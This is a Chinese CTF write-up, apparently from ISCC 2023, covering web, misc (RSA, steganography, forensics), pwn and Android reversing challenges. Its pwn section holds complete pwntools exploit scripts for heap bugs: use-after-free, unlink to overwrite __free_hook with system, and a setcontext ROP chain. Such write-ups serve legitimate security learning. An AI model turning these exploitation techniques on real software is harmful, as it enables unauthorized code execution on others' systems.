
http://47.94.14.162:10011/IsCC_N3xT.php?s0urc3=%26czB1cmMz

即可得到源码:

<?php
include(&apos;level2.php&apos;);
error_reporting(0);
if($_GET[&apos;s0urc3&apos;]==&apos;s0urc3&apos;){
    echo "没看见base64?";
}
if (isset($_GET[&apos;s0urc3&apos;])) {
    $s0urc3 = $_GET[&apos;s0urc3&apos;];
    if ($_GET[&apos;s0urc3&apos;] != &apos;czB1cmMz&apos;) {
        if (preg_match("/\&/",$s0urc3)){
            if (base64_decode($_GET[&apos;s0urc3&apos;]) == &apos;s0urc3&apos;) {
                highlight_file(__FILE__);
                echo "喜欢我isccIscciSccisCciscCIsCc1sCc吗";
            }
        }else{
            die(&apos;想这样绕过?门都没有!!&apos;);
        }
    }else{
        echo "s0urc3不能czB1cmMz";
        echo "<br/>你不准看源码!";
    }
}

$a = $_GET[&apos;iscc&apos;] ?: &apos;&apos;;
$b = $_GET[&apos;Iscc&apos;] ?: &apos;&apos;;
$c = $_GET[&apos;iScc&apos;] ?: &apos;&apos;;
$d = $_GET[&apos;isCc&apos;] ?: &apos;&apos;;
if (isset($_GET[&apos;iscc_iscc.lab&apos;])) {
    echo "1";
    if (file_get_contents($a) === &apos;ISCC!!!&apos;) {
        if ($b != 2023 && intval($b, 0) === 2023) {
            header("location: https://iscc.isclab.org.cn/");
        }
        if ($c != $d && sha1($c) === sha1($d)) {
            echo $level2;
        } else {
            header("location: https://iscc.isclab.org.cn/");
        }
    } else {
        header("location: https://iscc.isclab.org.cn/");
    }
}

直接构造,得到WCr3yPbt0.php

第三层

访问:http://47.94.14.162:10011/WCr3yPbt0.php

直接爆破

第四层

访问:http://47.94.14.162:10011/IScC_F1n4l.php

python直接计算

def L(u):
    return (u-1)//n

aa = L(pow(c,lam,n**2))
bb = L(pow(g,lam,n**2))
from Crypto.Util.number import *
m = (aa * inverse(bb,n)) % n
print(long_to_bytes(m).decode())

MISC

Guess_RSA

image-20230531150503534

解压得到附件,在这些文件中,publickey为公钥文件,cryptotext为密文,其中pic.png在lsb中隐藏有十六进制信息

image-20230531150618108

将其中的:去掉得到:

381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5

然后将公钥文件进行解析

n = 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469

e = 65537

然后现在有了公钥有了密文,和一段未知的数据,怀疑这个是dp泄露,这里直接上脚本

exp:

#coding=utf-8
import gmpy2 as gp

e = 65537
n = 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
dp = int('381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5',16)
c=''
with open('cryptotext3.txt','rb') as f:
    hex_list = ("{:02X}".format(int(c)) for c in f.read())   # 定义变量接受文件内容
    buflist = list(hex_list)
    for i in buflist:
        c+=i
c = int(c,16)
# print(c)
for i in range(1, e):  # 在范围(1,e)之间进行遍历
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:  # 存在p,使得n能被p整除
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            phi = (q - 1) * (p - 1)  # 欧拉定理
            d = gp.invert(e, phi)  # 求模逆
            m = pow(c, d, n)  # 快速求幂取模运算

print (hex(m)[2:])
#28f3bbb87737967e2cbeb44eb5d5457a9ae6d4f3559f9a2907d5c15527036fbd992f257e9750ded889babbe64629f63d8b57b8630c8a5304a765d9ec7d49ceffb0a3d0ca5ff59bb8ad1f912ef60d8124119c7310ff96590f81649b767eb0a36c92e4c5d2dcc00495343437b697535612175692a337165686263614039300a
#29da5dabd07d2709ab13f56f9a8ab7c8ae48d97d05b7ed9b99e1f6076692b9e30de2f050c14ea2029af8949219917b3da9e74720e9ba5ad58840e2323651d2bdf7231da77292b9be11b4cc396aa285cb3835e931261c324d46eae0f34e92c58da1d262eeecb0026726869632b686a3639617438762a723334367a3928620a
#2ee480e34c3941109aa1d95b30139c16b9a6414dc945053b47c7d4234803926a376ce24bee8e8340d4f5f45320ca650584dc0e968ca831b2e518d4ee05dc55cf6a1e27c937bc2189d796048fdcf324240aced222825f27892c003db7b9e6b9a367437f73c680079617761357430767233352d76725e696638392568757d0a

然后将十六进制数据转为字符串即可得到flag

雪豹

将文件下载下了,得到一个rar的压缩包,但是打开之后发现识别不正常

image-20230531151325308

用十六进制工具打开文件,通过与正常的rar文件对比,发现这里文件头的区块中的74被改为了73,这里将其全部该回来

image-20230531151359241

image-20230531151618442

然后即可正常解压,得到一个图片和一个压缩包

image-20230531151654079

image-20230531152314199

这里将图片的高度进行修改

image-20230531152342935

得到压缩包密码,得到一个套娃的压缩包

image-20230531152434089

解完之后得到一个文件,提示说没有flag

image-20230531152613062

然后观察压缩包的日期发现只有两种时间,所以猜测为二进制

10:13:52为0,10:13:58为1生成二进制

import os
import zipfile
import sys
import time
sys.setrecursionlimit(1000000)#防止python栈溢出
def unzip_file(file_name) :
    with zipfile.ZipFile(file_name,'r') as zip:
        zip.extractall()
        zip.close()#释放内存
    for file in zip.namelist():
        if file.endswith('.zip'):
            file_info = zip.getinfo(zip.namelist()[0])
            # print(f"{file}:{file_info.date_time}")
            if file_info.date_time==(2023, 5, 1, 10, 13, 58):
                print(1,end='')
            elif file_info.date_time==(2023, 5, 1, 10, 13, 52):
                print(0,end='')
            os.remove(file_name)
            unzip_file(file)

file_name = '49183-secret.zip'
print(0,end='')#49183自己为0
unzip_file(file_name)

然后二进制转字符串得到一张图片

image-20230531152918726

根据图片背景的字可以猜测是用imagein软件解

得到:

image-20230531230108828

然后解emoji得到flag

image-20230531230135086

哦?摩斯密码?

得到一堆文件夹,然后每一个文件夹下都有三张二维码,经过扫码进行词频分析

image-20230531153953440

得到TH1SN0FLAG

然后发现每一个扫除flag的文件的位置有些奇怪,比如说1.2,2.1之类的

前面的是文件夹,后面的是图片名,所以猜测莫斯密码,将其提取出来得到:

10011101111001111000111001111000101011000010101001100100110010011011001110111111100010011001110000100101101011111100111011011001101010110001011010011100110110010100100101101101101000101000111101000110001111100010011101111000110010011011011101101100101110110011110010110100110101011000111110100110010010111101

image-20230531154201152

得到:NyqgE0TddlwxLpK/g6514s2I6hQt1xNxdmmKYriUGiI=

然后解aes,key为:th1sn0flag

image-20230531154634031

得到flag:flag{oh!itistheflag}

给了个内存镜像,使用volatility在桌面上找到一个solve.zip,一个hint.txt

然后将文件提取出来,在hint中找到四个玩家一个游戏

然后在压缩包里面

image-20230531231309345

压缩包密码是伪装者的名字

然后在Documents目录下可以找到个out9.pcap,导出来

然后在流量包中找到了amongus字符串

然后发现这个是太空狼人杀的游戏

题目还给了游戏的配置文件,逆一下plugins下的dll文件,搜一下发现能搜到伪装者

image-20230531231329894

psswd:susofyou

image-20230531231455600

解压得到py文件

然后在流量包中找到全部信息

import hashlib

#analyze the .pcap answer the question

code = 'SRLBOW' #join the game's Game code(eg:ABCD)

voted = 'ISCC'#who was voted in this game(the game's name)(eg:dingzhen)

howtowin = 'crew_vote'#how win this game?choose:(crew_vote/crew_task/imp_vote/imp_task/imp_disconnect/crew_disconnect)(eg:imp_task)

tasks_num = '2'#how many tasks were done?(eg:5)

flag = hashlib.md5((code+voted+howtowin+tasks_num).encode()).hexdigest()#eg:md5('ABCDdingzhenimp_task5') = ca90ed3a8c98ef30af3b44643de8512e
print(f'your flag is ISCC{{{flag}}}')#eg:your flag is ISCC{ca90ed3a8c98ef30af3b44643de8512e}

运行得到flag

G9的钢琴曲

image-20230531231711096

解rsa

from Crypto.Util.number import *
# from libnum import *

out =[(2172252055704676687457456207934570002654428519127702486311980109116704284191676330440328812486703915927053358543917713596131304154696440247623888101060090049, 2108637380559167544966298857366809660819309447678518955440217990535095703498823529603132157555536540927898101378853427638496799467186376541583898176373756917, 1103840869050032098984210850630584416814272073121760519116633450832540460407682739594980752914408375293588645043889636184344774987897378026909963273402766561), (2000124088829445641229622245114189828522912764366697463519930724825924163986998694550757186794149331654420524788899548639866463311104678617705042675360057243, 1665549488322348612920659576773850703765765307223600084262385091708189142517147893842872604879786471376822691498663100028754092239272226011616462859779271025, 990627294315894701092445987317798430568264256978762186489740206376279178571289900941886873570710241025125621594301020499270029956301204583788447662869037315), (1303516450844607175859180241406482278674954250245197644105258810912430306740632927947088058701010631209652921073238771523431247167608544636294883977018097199, 1119758042346732592435539174564881640374540951155805649314246375263320107846465196580695284748429608544175058830657524095385658523219250943378976577225782230, 598915905620934628053505443816290720352232457144997188593150390072666051798491983452700635551081569466232682512362475354896855707688259553722701065491789402), (2463333340881549805545364706970314608937871808508385657282029236077808399479795853056347857164089991597487727014937851894809199639758978587612411591527423763, 673590616457425981268507673967667728811152404125286063856277932080928372715113304373395326309595915550999528364692493169822993967220858400311382215177833045, 208198360150172881237486434064181246031019081636219908755237161625039285165750040108367852136975511290424988781713799103150982065579123496034803730006273360)]

# clean data
ns = [o[0] for o in out]
rs = [o[1] for o in out]
cs = [o[2] for o in out]
# calculate T_i for each polynomial
calcT = lambda idx : crt([0 if i != idx else 1 for i in range(4)], ns)

# calculate Ts
T = [calcT(i) for i in range(len(ns))]
# print(T)
#下面就是calcT函数的意义
# print(crt([1,0,0,0],ns))
# print(crt([0,1,0,0],ns))
# print(crt([0,0,1,0],ns))
# print(crt([0,0,0,1],ns))

# construct the final polynomial
f = 0
P.<x> = PolynomialRing(Zmod(prod(ns)))

# use pad to add known bits
pad = bytes_to_long(b'ISCC' + b'\x00' * 59)
m = x + pad

# construct g(x)
for i in range(4):
    f += T[i] * (m^4 + 3*m^2 + rs[i]*m - cs[i])
root = f.small_roots(X=2^472, epsilon=0.03)[0]
m = m(root)
print(long_to_bytes(int(m)))

得到密码:ISCC_Y0u_R3alLy_KnOw_CoPPersm1th

然后用decloakify解rar

image-20230531231850829

将解密结果用十六进制工具打开

看到一对+-符号,这里直接将其转换为01字符串

image-20230531232032858

得到flag

BNG

首先观察文件头,能够发现蓝色部分是bzip文件头,开头是PNG改过的文件头,接着红框部分09应该是代表IHDR的长度,后面的0x6b 0x60分别代表宽高,再下一个字节0x18暂且理解成24位(RGB)
接着蓝框前面有个0x065e,根据bzip的长度可以得知0x065e是bzip的数据块长度,接着看文件尾

将其数据提取出来得到

Vm1wR2EwNUhTWGxVYms1cFRUSjRWbFl3WkRSWFJteHpZVVZPYWxadGVIcFdNbmgzWVRBeFZrNVdaRnBXVmxwUVdWVmFTbVF3TVZWWGJHUlRUVEJLVVZkV1dsWmtNbEY1Vkd0c1ZHSkdXazlaVjNSaFYwWmFSMVp0Um1wTmF6VllWVEkxVTJFeFNsVldiVGxhWWtkU2RscFdXbHBsVjFKSFZHeHdWMDFHY0RWV1JscGhWakZhZEZOc1ZsTmlSVnBZV1ZSS1UyTldVbGRYYkU1WFZtczFlbFl5TVRSV01WcEhWMnhrVjJKVVFqUlVWVnBTWlVaT2NscEhjRlJTVkZaYVYxWlNSMU14U1hoVmJrNVhWMGRvY1ZacVFscE5iRnBYVlZoa1VWVlVNRGs9

解码得到:

my secret password:e4b1d28dd6c14f9893e255d46ed19298

根据题目描述,抄的png部分应该是png头+IHDR+DATA(bz2)+IEND
而jpg部分为DEFLATE,根据猜测是huffman。
然后根据分析,第二个字节0x0d代表的是huffman tree size,紧接着的0xd字节代表huffman tree length,再后面的数据是文件的数据,即前面部分抄的是jpg的DHT部分,至于为什么有那么多00字节,是因为没有经过游程编码来进行预处理
这里能够找到网上的一份脚本https://www.cnblogs.com/kentle/p/14725589.html
根据脚本分析,第一个字节是padding字节。
即padding + ht_size + ht_length + data

将脚本里的OVO.py抄下来保存为OVO.py,接着自己写一份脚本(注意创建imgs文件夹)
然后得到的图片发现是0-f,因此使用easyocr进行ocr

image-20230531233321568

import bz2
import zlib
from OVO import OVO
import os
from PIL import Image
from tqdm import tqdm
import struct
import easyocr

for i in tqdm(range(472)):
    f = open(f'./bngs/{i}.bng', 'rb').read()
    h,w = f[0xf],f[0xb]
    length = f[0x17]*256+f[0x18]
    bz2_data = f[0x19:0x19+length]
    decompressed_bz2 = bz2.decompress(bz2_data)
    fw = open(f'./imgs/{i}.data','wb').write(decompressed_bz2)
    OVO.decode(source_path=f'./imgs/{i}.data', target_path=f'./imgs/{i}_dec.data', mode=0)
    ft = open(f'./imgs/{i}_dec.data','rb').read()
    img = Image.new('RGB', (w, h))
    for y in range(h):
        for x in range(w):
            index = (y * w + x) * 3
            r, g, b = struct.unpack('BBB', ft[index:index + 3])
            img.putpixel((x, y), (r, g, b))
    img.save(f'./imgs/{i}_.png')
    os.remove(f'./imgs/{i}.data')
    os.remove(f'./imgs/{i}_dec.data')

data = ''
reader = easyocr.Reader(['en'])
for j in tqdm(range(472)):
    result = reader.readtext(f'./imgs/{j}_.png')
    try:
        data += result[0][1]
    except:
        data += f'_{j}_'
print(data)

得到:

504b03040a00090000004061a656d31bd66C360000002a00000008001C00666C61672e747874555409000317d3556417d3556475780b000104e803000004e803000065f41ee96387be9dfCb9083dde5b2ad9d9a1757831ef8091d9621d9147dCCed1d3984835b90740bda12Cd9d3d696e0937995a3ad70ed504b0708d31bd66C360000002a000000504b01021e030a00090000004061a656d31bd66C360000002a000000080018000000000001000000ff8100000000666C61672e747874555405000317d3556475780b000104e803000004e8030000504b050600000000010001004e000000880000000000

然后将其保存为zip

密码为:e4b1d28dd6c14f9893e255d46ed19298

解zip得到flag

听你心跳里的狂

首先拿到一个ogg音频文件和一个flaggg文件,flaggg文件16进制数据是个乱码,但根据其长度恰好为10mb,猜测是VC容器,将ogg音频文件作为密钥文件成功挂载

在挂载的磁盘里得到一个压缩文件,在结尾处可以找到一串字符

image-20230531233805960

先解rot13然后解rot47得到md5

解码得到:Logistic

解压缩包得到png文件,但是打不开将其十六进制数据异或0x15得到png

非预期

image-20230531233932528

得到flag

Brain Games

image-20230531234051210

压缩包里面的提示

将其?转为表情

解aaencode

得到:Peace_And_Love

image-20230531234135212

然后分析其子弹痕迹,得到570831

然后cloacked-pixel

image-20230531234250781

得到:

image-20230531234313572

image-20230531234344965

然后得到flag

Guess!Where?

解压得到:

U1H0YHwVXogMWWQIWX5dY0gCPoUOXoMAVHXcYHgRXoUKZYsXUX1NX0gIZnUGSW09

凯撒3-base64-base32-base16

得到密码:I_love_iscc!!!

image-20230531234512896

发现文件夹这里有个ISC23

文件夹内容提取出来

I:09120906120107

S:1105091906120107

C:0306120107

2:081523010206120107

3:15212025152106120107

然后发现是刚好可以与26个字母对应

然后转换一下

iliflag

keisflag

cflag

howabflag

outyouflag

然后将flag去掉

组合写两次c得到flag

ilikeiscchowaboutyou

PWN

Ezheap

Checksec

img

Ida:

img

利用UAF漏洞编辑堆块,修改fd指针,在堆块unsort的时候,会把极大值写入,满足if判断,且程序中有后门函数,正常构造payload即可

Exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
def add(index,size):
    r.sendlineafter("input your choice : ",'1')
    r.sendlineafter("input idx plz : ",str(index))
    r.sendlineafter("input size plz : ",str(size))
    
def edit(index,content):
    r.sendlineafter("input your choice : ",'4')
    r.sendlineafter("input idx plz : ",str(index))
    r.sendlineafter("input content plz : ",content)
def free(index):
    r.sendlineafter("input your choice : ",'2')
    r.sendlineafter("input idx plz ",'0')
add(0,0x90)
add(1,0x90)
free(0)
p=p64(0)+p64(0x6029b8-0x10)
edit(0,p)
add(3,0x90)
r.sendlineafter("input your choice : ",'5')
p1=flat(b'a'*(0x10+8),0x4009aa,word_size=64)
r.sendlineafter("input your key\n",p1)
r.interactive()

Crazy_heap

Checksec

img

ida分析:

img

add_employee()函数:

img

edit_info()函数:

img

view_employee()函数:

img

fire_employee()函数:

img

主要是unlink,任意地址写,写入free_hook,最后更改其值为system地址,执行binsh即可。

Exp:

from pwn import *
context(os='linux',arch='amd64',log_level="debug")
r=process('./my_heap')
elf=ELF("./my_heap")
libc=ELF("./Crazy_heap libc-2.23.so")
def add(a,b):
    r.sendlineafter("choice:",b'1')
    r.sendlineafter("length:",str(a))
    r.sendlineafter("name:",b)
    r.sendlineafter("girl\n",b"1")
    
def edit1(a,b):
    r.sendlineafter("choice:",b'2')
    r.sendlineafter("number:",str(a))
    r.sendlineafter("(by rename T_T)\n",b"1")
    r.sendlineafter("name:",b)

def edit2(a,b):
    r.sendlineafter("choice:",b'2')
    r.sendlineafter("number:",str(a))
    r.sendlineafter("(by rename T_T)\n",b"0")
    r.sendlineafter("sex:",str(b))
    
def view(a):
    r.sendlineafter("choice:",b'3')
    r.sendlineafter("number:",str(a))
    
def free(a):
    r.sendlineafter("choice:",b'4')
    r.sendlineafter("number:",str(a))

add(0x88,b'aaaa')
add(0x88,b'bbbb')
free(0)
view(0)
addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
main_arena=addr-0x58
malloc_hook=main_arena-0x10
base=malloc_hook-libc.symbols["__malloc_hook"]
chunk=0x404050
payload=p64(0)
payload+=p64(0x2c1)
payload+=p64(chunk-0x18)
payload+=p64(chunk-0x10)
add(0x88,b'cccc')
add(0xd8,payload)
add(0x88,b'dddd')
add(0x88,b'eeee')
add(0x88,b'/bin/sh\x00')
free(3)
edit2(3,1)
free(4)
payload=b'a'*0x18
payload+=p64(base+libc.sym['__free_hook'])
edit1(2,payload)
edit1(2,p64(base+libc.sym['system']))
free(5)
r.interactive()

Ezuheap

checksec

img

Ida分析:

img

add()函数:

img

del()函数:

img

edit()函数:

img

show()函数:

img

由程序得到堆块地址,show泄露出地址来计算free_hook地址,改free_hook的值为system地址,执行system(“/bin/sh”)即可。

Exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r=process("./uheap")
elf=ELF("./uheap")
libc=ELF("./libc-2.27.so")
def add(idx,length):
    r.sendlineafter("choice:",b'1')
    r.sendlineafter("Index:",str(idx))
    r.sendlineafter("len:",str(length))
def free(idx):
    r.sendlineafter("choice:",b'2')
    r.sendlineafter("Index:",str(idx))
def edit(idx,content):
    r.sendlineafter("choice:",b'3')
    r.sendlineafter("Index:",str(idx))
    r.sendline(content)
def show(idx):
    r.sendlineafter("choice:",b'4')
    r.sendlineafter("Index:",str(idx))
r.sendline(b'a')
pause()
r.sendline(b'365303148')
r.recvuntil("first gift: 0x")
first_gift=int(r.recv(12),16)
r.recvuntil("second gift: 0x")
second_gift=int(r.recv(8),16)^first_gift
first_gift^=0x15C6156C
print(hex(first_gift))
print(hex(second_gift))
ptr=second_gift-0x30+0x8
add(0,0x88)
add(1,0x88)
add(2,0x88)
add(3,0x88)
add(4,0x88)
add(5,0x88)
add(0,0x88)
for i in range (7):
    free(2)
    edit(2,b'a'*12) 
free(2)
show(2)
leak_addr=uu64()
main_arena=leak_addr-96
malloc_hook=main_arena-0x10
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
free_hook=libc_base+libc.sym['__free_hook']
print(hex(libc_base))
free(5)
edit(2,b'a'*0x80+p64(0x110))
edit(1,(p64(0)+p64(0x111)+p64(ptr-0x18)+p64(ptr-0x10)))
free(3)
print(hex(ptr))
edit(1,b'a'*0x18+p64(free_hook))
edit(1,p64(libc_base+libc.sym['system']))
edit(5,b'/bin/sh\x00')
print(hex(free_hook))
free(5)
r.interactive()

Babyheap

Checksec

img

Ida分析:

img

img

隐藏彩蛋函数:这个函数只能用一次,因为dword_4010初始值为1,触发一次该函数后dword_4010–,

img

Add函数:

img

free函数:

img

Show函数:

img

Exp;

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc='./babyheaplibc.so.6'
elf = ELF('./babyheap')
p=process('./babyheap')
def add(content):
    p.sendlineafter("plz input choice: ", b'1')
    p.sendafter(b"plz input content:", content)
 
def free(index):
    p.sendlineafter("plz input choice: ", b'3')
    p.sendlineafter(b'plz input idx:', str(index))
def show(index):
    p.sendlineafter("plz input choice: ", b'2')
    p.sendlineafter(b'plz input idx:', str(index))
def zlp(index):
    p.sendlineafter("plz input choice: ", b'2023')
    p.sendlineafter(b'plz input idx:', str(index))
for i in range(7):
        add("a")
add("b")#7
add("c")#8
for i in range(7):
        free(i)
zlp(7)
free(8)
free(7)
for i in range(7):
        add("d")
show(0)
heap=u64(p.recvuntil("\n")[1:7].ljust(8,b"\x00"))-0x1A62
print(hex(heap))
add(p64(heap+0x1950))#7
add(b"e")#8
add(b"f")#9
add(p64(0)+p64(0x461))
for i in range(5):
        add(b"g")
free(6)
add("h")
show(6)
malloc_hook = u64(p.recvuntil("\n")[1:7].ljust(8,b"\x00"))-225-0x10
base=malloc_hook-libc_elf.symbols["__malloc_hook"]
free_hook=base+libc_elf.symbols["__free_hook"]
open_addr=base+libc_elf.symbols["open"]
read_addr=base+libc_elf.symbols["read"]
pus = base
print(hex(base))
    #setcontext orw
setcontext = base+libc_elf.symbols["setcontext"] + 61
if debug:
        pop_rax_ret = base + 0x47400
        pop_rdi_ret = base + 0x23b72
        pop_rsi_ret = base + 0x2604f
        pop_rsi_r15_ret = base + 0x23b70
        pop_rdx_r12_ret = base +0x119241
        syscall_ret = base + 0x630d9
        ret = base + 0xbf955
        magic_gadget = base + 0x1518B0
        leave_ret= base + 0x578f8
else:
        pop_rax_ret = base + 0x36174
        pop_rdi_ret = base + 0x23b6a
        pop_rsi_ret = base + 0x2601f
        pop_rdx_ret = base + 0x142c92
        pop_rsi_r15_ret = base + 0x23b68
        pop_rdx_r12_ret = base +0x119211
        syscall_ret = base + 0x630a9
        ret = base + 0xc1801
        magic_gadget = base + 0x151990
        leave_ret= base + 0x578c8
    
    #double free
for i in range(7):
        free(i)
free(15)
free(7)
free(8)
free(9)
for i in range(1):
        add("i")
orw1_addr=heap+0x1aa0 #4
orw2_addr=heap+0x1a50 #3
orw3_addr=heap+0x1a00 #2
orw4_addr=heap+0x19c0 #1
stack_addr=heap+0x1b40 #6
bss_addr=heap+0x197c #0   
orw1 = p64(pop_rdi_ret) + p64(stack_addr)
orw1+= p64(pop_rax_ret) + p64(2)
orw1+= p64(syscall_ret)
orw1+= p64(pop_rdi_ret) + p64(3)
orw1+= p64(leave_ret)   
orw2 = p64(orw3_addr) + p64(pop_rsi_ret) + p64(bss_addr)
orw2+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw2+= p64(leave_ret)
orw3 = p64(orw4_addr-8) + p64(pop_rax_ret) + p64(0)
orw3+= p64(syscall_ret)
orw3+= p64(pop_rdi_ret) + p64(1)
orw3+= p64(leave_ret)
orw4 = p64(pop_rsi_ret) + p64(bss_addr)
orw4+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw4+= p64(pop_rax_ret) + p64(1)
orw4+= p64(syscall_ret)
add(orw4)#1
add(orw3)#2
add(orw2)#3
add(orw1)#4
print(hex(stack_addr))
stack=b"./flag\x00\x00"+p64(0)*3 + p64(setcontext) + p64(0)*3
add(p64(0)+p64(stack_addr))
add(stack)#6
add(p64(free_hook))#7
add(p64(orw1_addr)+p64(ret)*3)#8
add(p64(0)*5+p64(orw2_addr))#9
add(p64(magic_gadget))
free(5)
p.interactive()

ANDROID

mobile1

image-20230601110023632

分析代码,发现先调用的a函数对flag加密,然后再调用so文件的函数对字符串进行加密

然后分析so函数

image-20230601110202817

通过逆向得到a函数加密之后的字符串:CV2#67CG6CSF23353F7#7

然后分析a函数

image-20230601110245969

下面两个是字符串转16进制,然后16进制转字符串

所以主要加密在b类的a函数中

image-20230601110335370

s = b"CV2#67CG6CSF23353F7#7"
b = ""
for i in s:
    b += (hex(i)[2::])
print(b)
str2 = b[0:len(b)//2]
str3 = b[len(b)//2::]
flag = ""
for i in range(len(str2)):
    if(i % 3 == 0):
        flag += str2[i]
    elif(i % 3 == 1):
        flag += str3[i]
    else:
        flag += str3[i] + str2[i]
print(flag)
for i in range(0,len(flag),2):
    print(chr(eval('0x'+flag[i]+flag[i+1])),end="")

得到flag:ISCC{Deb2#3e7Ddw&Cu}

KitKat

image-20230601110500036

这里先还原出账号

public static void main(String[] args) {
    String encryptedString = "V[+:`5@OM=#&qOQU";
    byte[] key = {123, -83, 46, 105, 63, 66, -111, 117, -126, -15, 106, 23, -16};

    byte[] encryptedBytes = encryptedString.getBytes();
    byte[] decryptedBytes = new byte[encryptedBytes.length];

    for (int i = 0; i < encryptedBytes.length; i++) {
        decryptedBytes[i] = (byte) (encryptedBytes[i] ^ key[i % key.length]);
    }

    String decryptedString = new String(decryptedBytes);
    System.out.println("Decrypted string: " + decryptedString);
}

得到账号:BAI2021090801

image-20230601110559771

然后分析so函数

通过hook找到加密函数

image-20230601110623641

image-20230601110632830

经过分析得到密码

最后程序中过掉判断即可得解

flag{cb3516da155b64b0a4139d5339190c3c}

上一篇
下一篇